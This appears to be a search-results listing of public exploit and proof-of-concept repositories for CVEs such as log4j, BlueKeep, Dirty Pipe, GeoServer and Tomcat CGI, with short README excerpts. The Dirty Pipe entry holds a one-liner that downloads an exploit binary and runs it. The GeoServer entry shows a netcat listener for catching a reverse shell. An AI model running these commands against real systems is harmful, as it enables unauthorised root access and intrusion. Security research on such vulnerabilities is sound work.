1462333 matches found
smt878u-ionstack-poc
smt878u-ionstack-poc !CAUTION THIS PROJECT IS UNFINISHED — IT DOES NOT WORK YET. There is no working root on any device as of 2026-10-06. Do not expect the quick-start below to succeed. Read Current status before building or running anything. !WARNING STATUS: WORK IN PROGRESS — ring 1 not landed...
poc-CVE-2024-10220
poc-CVE-2024-10220 CVE-2024-10220 POC...
LOGJ4_PocShell_CVE-2021-44228
log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...
packages_apps_PackageInstaller_AOSP10_r33_CVE-2021-0302
This repository does not have a README...
MS-SharePoint-July-Patch-RCE-PoC
MS-SharePoint-July-Patch-RCE-PoC PoC for: CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC Video: https://youtu.be/u8mccaakISw...
rdpscan
rdpscan for CVE-2019-0708 bluekeep vuln This is a quick-and-dirty scanner for the CVE-2019-0708 vulnerability in Microsoft Remote Desktop. Right now, there are about 900,000 machines on the public Internet vulnerable to this vulnerability, so many are to expect a worm soon like WannaCry and...
cve-2026-61511
This repository does not have a README...
CVE-2020-9484
CVE-2020-9484 with interactive mode and args Designed specifically for CTF challenge CERTain Doom on TryHackMe Join Room https://tryhackme.com/r/room/certaindoom Remake of CVE-2020-9484 by Pentestical Shoutout to ChatGPT for the auto creation of interactive mode, and args :...
CVE-2023-23752_Joomla
CVE-2023-23752 Joomla! v4.2.8 - Unauthenticated Information Disclosure A proof-of-concept for CVE-2023-23752 Joomla! v4.2.8 - Unauthenticated Information Disclosure. For versions 4.0.0 4.2.8 it means from 4.0.0 up to 4.2.7. Getting Started Executing program With python3 python3 exploit.py -t...
CVE-2026-39902 Cacti: Authenticated RCE on Data Input
Cacti is an open source performance and fault management framework. Prior to version 1.2.31, the prior blocklist ;&| $\n\r omitted single-quote, double-quote, redirect operators, subshell parens and braces. An authenticated admin could save an inputstring containing single-quote, redirect...
MoodleExploit
Moodle Exploit Exploit Title: Moodle v3.4.1 RCE Exploit Google Dork: inurl:"/course/jumpto.php?jump=" Date: 15 March 2019 Exploit Author: Darryn Ten Vendor Homepage: https://moodle.org Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip Version: 3.4.1 Possibly 3.5.0 and maybe even...
CVE-2023-7028-GitLab
GitLab-CVE-2023-7028 Example python3 attack.py -u http://TargetIP:8000 -t [email protected] -e [email protected]...
CVE-2022-1388
Old exploit I forgot to publish...
CVE-2019-0232_tomcat_cgi_exploit
Apache Tomcat CGI Exploit Script Description A Python script designed to exploit CGI vulnerabilities in Apache Tomcat servers by executing a reverse shell connection. Usage Example Features Automated exploit for Apache Tomcat CGI vulnerabilities Customizable target and attacker parameters Simple...
CVE-2024-36401
CVE-2024-36401 This is a program for checking the vulnerability of CVE-2024-36401. Usage First, execute the following command to listen for incoming connections. nc -lvnp 9000 Then, execute the file in another terminal window. python CVE-2024-36401.py --target example.com --targetport 8080 --myip...
CVE-2025-32433
Working PoC for CVE-2025-32433 Blog post: https://platformsecurity.com/blog/CVE-2025-32433-poc...
nate158g-m-w-n-l-p-d-a-o-e
nate158g-m-w-n-l-p-d-a-o-e This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q This exploit requires Metasploit to have a FQDN and the...
Dirty-Pipe
Oneline Exploit CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...
nextjs-CVE-2025-29927
nextjs-CVE-2025-29927 A Nuclei template to detect CVE-2025-29927 the Next.js authentication bypass vulnerability. If you want to understand exactly how this vulnerability works, you can read the original researchers excellent article here This template is pretty straight forward. It does two...